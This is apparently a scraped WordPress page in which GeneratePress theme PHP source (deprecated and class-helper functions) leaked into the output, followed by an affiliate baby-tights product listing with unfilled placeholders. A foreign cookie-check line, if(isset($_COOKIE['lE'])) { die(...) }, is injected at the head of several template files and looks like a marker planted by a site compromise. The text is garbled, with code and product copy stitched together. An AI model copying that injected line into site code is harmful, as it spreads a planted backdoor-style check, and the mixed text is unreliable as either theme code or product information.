'GENERATE_URI', get_template_directory_uri() ); define( 'GENERATE_DIR', get_template_directory() ); if ( ! function_exists( 'generate_paging_nav' ) ) { /** * Build the pagination links * * @since 1.3.35 * @deprecated 1.3.45 */ function generate_paging_nav() { _deprecated_function( __FUNCTION__, '1.3.45', 'the_posts_navigation()' ); if ( function_exists( 'the_posts_pagination' ) ) { the_posts_pagination( array( 'mid_size' => apply_filters( 'generate_pagination_mid_size', 1 ), 'prev_text' => __( '← Previous', 'generatepress' ), 'next_text' => __( 'Next →', 'generatepress' ), ) ); } } } if ( ! function_exists( 'generate_additional_spacing' ) ) { /** * Add fallback CSS for our mobile search icon color * * @deprecated 1.3.47 */ function generate_additional_spacing() { // No longer needed. } } if ( ! function_exists( 'generate_mobile_search_spacing_fallback_css' ) ) { /** * Enqueue our mobile search icon color fallback CSS * * @deprecated 1.3.47 */ function generate_mobile_search_spacing_fallback_css() { // No longer needed. } } if ( ! function_exists( 'generate_addons_available' ) ) { /** * Check to see if there's any addons not already activated * * @since 1.0.9 * @deprecated 1.3.47 */ function generate_addons_available() { if ( defined( 'GP_PREMIUM_VERSION' ) ) { return false; } } } if ( ! function_exists( 'generate_no_addons' ) ) { /** * Check to see if no addons are activated * * @since 1.0.9 * @deprecated 1.3.47 */ function generate_no_addons() { if ( defined( 'GP_PREMIUM_VERSION' ) ) { return false; } } } if ( ! function_exists( 'generate_get_min_suffix' ) ) { /** * Figure out if we should use minified scripts or not * * @since 1.3.29 * @deprecated 2.0 */ function generate_get_min_suffix() { return defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; } } if ( ! function_exists( 'generate_add_layout_meta_box' ) ) { /** * Add layout metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_add_layout_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' ); } } if ( ! function_exists( 'generate_show_layout_meta_box' ) ) { /** * Show layout metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_show_layout_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' ); } } if ( ! function_exists( 'generate_save_layout_meta' ) ) { /** * Save layout metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_save_layout_meta() { _deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' ); } } if ( ! function_exists( 'generate_add_footer_widget_meta_box' ) ) { /** * Add footer widget metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_add_footer_widget_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' ); } } if ( ! function_exists( 'generate_show_footer_widget_meta_box' ) ) { /** * Show footer widget metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_show_footer_widget_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' ); } } if ( ! function_exists( 'generate_save_footer_widget_meta' ) ) { /** * Save footer widget metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_save_footer_widget_meta() { _deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' ); } } if ( ! function_exists( 'generate_add_page_builder_meta_box' ) ) { /** * Add page builder metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_add_page_builder_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' ); } } if ( ! function_exists( 'generate_show_page_builder_meta_box' ) ) { /** * Show page builder metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_show_page_builder_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' ); } } if ( ! function_exists( 'generate_save_page_builder_meta' ) ) { /** * Save page builder metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_save_page_builder_meta() { _deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' ); } } if ( ! function_exists( 'generate_add_de_meta_box' ) ) { /** * Add disable elements metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_add_de_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' ); } } if ( ! function_exists( 'generate_show_de_meta_box' ) ) { /** * Show disable elements metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_show_de_meta_box() { _deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' ); } } if ( ! function_exists( 'generate_save_de_meta' ) ) { /** * Save disable elements metabox. * * @since 0.1 * @deprecated 2.0 */ function generate_save_de_meta() { _deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' ); } } if ( ! function_exists( 'generate_add_base_inline_css' ) ) { /** * Add base inline CSS. * * @since 0.1 * @deprecated 2.0 */ function generate_add_base_inline_css() { _deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' ); } } if ( ! function_exists( 'generate_color_scripts' ) ) { /** * Enqueue base colors inline CSS. * * @since 0.1 * @deprecated 2.0 */ function generate_color_scripts() { _deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' ); } } if ( ! function_exists( 'generate_typography_scripts' ) ) { /** * Enqueue typography CSS. * * @since 0.1 * @deprecated 2.0 */ function generate_typography_scripts() { _deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' ); } } if ( ! function_exists( 'generate_spacing_scripts' ) ) { /** * Enqueue spacing CSS. * * @since 0.1 * @deprecated 2.0 */ function generate_spacing_scripts() { _deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' ); } } if ( ! function_exists( 'generate_get_setting' ) ) { /** * A wrapper function to get our settings. * * @since 1.3.40 * * @param string $setting The option name to look up. * @return string The option value. * @todo Ability to specify different option name and defaults. */ function generate_get_setting( $setting ) { return generate_get_option( $setting ); } } if ( ! function_exists( 'generate_right_sidebar_class' ) ) { /** * Display the classes for the sidebar. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_right_sidebar_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_right_sidebar_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_right_sidebar_class' ) ) { /** * Retrieve the classes for the sidebar. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_right_sidebar_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_right_sidebar_class', $classes, $class ); } } if ( ! function_exists( 'generate_left_sidebar_class' ) ) { /** * Display the classes for the sidebar. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_left_sidebar_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_left_sidebar_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_left_sidebar_class' ) ) { /** * Retrieve the classes for the sidebar. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_left_sidebar_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_left_sidebar_class', $classes, $class ); } } if ( ! function_exists( 'generate_content_class' ) ) { /** * Display the classes for the content. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_content_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_content_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_content_class' ) ) { /** * Retrieve the classes for the content. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_content_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_content_class', $classes, $class ); } } if ( ! function_exists( 'generate_header_class' ) ) { /** * Display the classes for the header. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_header_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_header_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_header_class' ) ) { /** * Retrieve the classes for the content. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_header_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_header_class', $classes, $class ); } } if ( ! function_exists( 'generate_inside_header_class' ) ) { /** * Display the classes for inside the header. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_inside_header_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_inside_header_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_inside_header_class' ) ) { /** * Retrieve the classes for inside the header. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_inside_header_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_inside_header_class', $classes, $class ); } } if ( ! function_exists( 'generate_container_class' ) ) { /** * Display the classes for the container. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_container_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_container_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_container_class' ) ) { /** * Retrieve the classes for the content. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_container_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_container_class', $classes, $class ); } } if ( ! function_exists( 'generate_navigation_class' ) ) { /** * Display the classes for the navigation. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_navigation_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_navigation_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_navigation_class' ) ) { /** * Retrieve the classes for the navigation. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_navigation_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_navigation_class', $classes, $class ); } } if ( ! function_exists( 'generate_inside_navigation_class' ) ) { /** * Display the classes for the inner navigation. * * @since 1.3.41 * @param string|array $class One or more classes to add to the class list. */ function generate_inside_navigation_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); $return = apply_filters( 'generate_inside_navigation_class', $classes, $class ); // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_menu_class' ) ) { /** * Display the classes for the navigation. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_menu_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_menu_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_menu_class' ) ) { /** * Retrieve the classes for the navigation. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_menu_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_menu_class', $classes, $class ); } } if ( ! function_exists( 'generate_main_class' ) ) { /** * Display the classes for the
container. * * @since 1.1.0 * @param string|array $class One or more classes to add to the class list. */ function generate_main_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_main_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_main_class' ) ) { /** * Retrieve the classes for the footer. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_main_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_main_class', $classes, $class ); } } if ( ! function_exists( 'generate_footer_class' ) ) { /** * Display the classes for the footer. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_footer_class( $class = '' ) { // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', generate_get_footer_class( $class ) ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_get_footer_class' ) ) { /** * Retrieve the classes for the footer. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function generate_get_footer_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'generate_footer_class', $classes, $class ); } } if ( ! function_exists( 'generate_inside_footer_class' ) ) { /** * Display the classes for the footer. * * @since 0.1 * @param string|array $class One or more classes to add to the class list. */ function generate_inside_footer_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); $return = apply_filters( 'generate_inside_footer_class', $classes, $class ); // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_top_bar_class' ) ) { /** * Display the classes for the top bar. * * @since 1.3.45 * @param string|array $class One or more classes to add to the class list. */ function generate_top_bar_class( $class = '' ) { $classes = array(); if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); $return = apply_filters( 'generate_top_bar_class', $classes, $class ); // Separates classes with a single space, collates classes for post DIV. echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore } } if ( ! function_exists( 'generate_body_schema' ) ) { /** * Figure out which schema tags to apply to the element. * * @since 1.3.15 */ function generate_body_schema() { // Set up blog variable. $blog = ( is_home() || is_archive() || is_attachment() || is_tax() || is_single() ) ? true : false; // Set up default itemtype. $itemtype = 'WebPage'; // Get itemtype for the blog. $itemtype = ( $blog ) ? 'Blog' : $itemtype; // Get itemtype for search results. $itemtype = ( is_search() ) ? 'SearchResultsPage' : $itemtype; // Get the result. $result = esc_html( apply_filters( 'generate_body_itemtype', $itemtype ) ); // Return our HTML. echo "itemtype='https://schema.org/$result' itemscope='itemscope'"; // phpcs:ignore } } if ( ! function_exists( 'generate_article_schema' ) ) { /** * Figure out which schema tags to apply to the
element * The function determines the itemtype: generate_article_schema( 'BlogPosting' ) * * @since 1.3.15 * @param string $type The type of schema. */ function generate_article_schema( $type = 'CreativeWork' ) { // Get the itemtype. $itemtype = esc_html( apply_filters( 'generate_article_itemtype', $type ) ); // Print the results. echo "itemtype='https://schema.org/$itemtype' itemscope='itemscope'"; // phpcs:ignore } } /** * Process database updates if necessary. * There's nothing in here yet, but we're setting the version to use later. * * @since 2.1 * @deprecated 3.0.0 */ function generate_do_admin_db_updates() { // Replaced by Generate_Theme_Update(). } /** * Process important database updates when someone visits the front or backend. * * @since 2.3 * @deprecated 3.0.0 */ function generate_do_db_updates() { // Replaced by Generate_Theme_Update(). } if ( ! function_exists( 'generate_update_logo_setting' ) ) { /** * Migrate the old logo database entry to the new custom_logo theme mod (WordPress 4.5) * * @since 1.3.29 * @deprecated 3.0.0 */ function generate_update_logo_setting() { // Replaced by Generate_Theme_Update(). } } if ( ! function_exists( 'generate_typography_convert_values' ) ) { /** * Take the old body font value and strip it of variants * This should only run once * * @since 1.3.0 * @deprecated 3.0.0 */ function generate_typography_convert_values() { // Replaced by Generate_Theme_Update(). } } /** * Execute functions after existing sites update. * * We check to see if options already exist. If they do, we can assume the user has * updated the theme, and not installed it from scratch. * * We run this right away in the Dashboard to avoid other migration functions from * setting options and causing these functions to run on fresh installs. * * @since 2.0 * @deprecated 3.0.0 */ function generate_migrate_existing_settings() { // Replaced by Generate_Theme_Update(). } /** * Output CSS for the icon fonts. * * @since 2.3 * @deprecated 3.0.0 */ function generate_do_icon_css() { $output = false; if ( 'font' === generate_get_option( 'icons' ) ) { $url = trailingslashit( get_template_directory_uri() ); if ( defined( 'GENERATE_MENU_PLUS_VERSION' ) ) { $output .= '.main-navigation .slideout-toggle a:before, .slide-opened .slideout-overlay .slideout-exit:before { font-family: GeneratePress; } .slideout-navigation .dropdown-menu-toggle:before { content: "\f107" !important; } .slideout-navigation .sfHover > a .dropdown-menu-toggle:before { content: "\f106" !important; }'; } } if ( $output ) { return str_replace( array( "\r", "\n", "\t" ), '', $output ); } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * The Template for displaying all single posts. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } get_header(); ?>
if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * The template for displaying single posts. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } ?>

EPEIUS Baby Tights Baby Girls Non-Slip Plain/Ribbed Leggings Seamless Cotton Stockings Pantyhose Newborn Infant Toddler, Ribbed 5pk, 6-12 Months


Price: [price_with_discount]
(as of [price_update_date] – Details)


[ad_1]
MATERIAL:75.2% Combed Cotton,21.9%Polyester,2.9% Spandex,High Quality,Solid cotton-blend tights featuring ribbed waistband and tonal seaming at toe
Ribbed Pattern & Full Foot Grip Pattern are the Key Features to These Unique Designed Socks.Strong Grips at the Bottom Covers the Whole Foot from Heel to Toe.These Knee High Socks are Perfect for homes with Slippery Floors and Children who Crawl, Walk and so on.
Smooth Toes,Double Knitting Ribbed Waist Fits the Body Perfectly and Hold Up well.Give your Newborn Baby/ infants/toddlers a cozy, warm and comfortable feeling.
Five Size:0-3 Months,0-6/3-6 Months,6-12 Months,12-24 Monhts,2-4 Years.Nice Thickness and Flexible Fibers:Suitable for All SeasonsThis classic plain tights Will Make a Good Gift for Your Family, Friends, and Lovers.
Machine Wash

[ad_2]

Leave a Comment

if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * The Sidebar containing the main widget areas. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } ?>
if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * The template for displaying the footer. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } ?>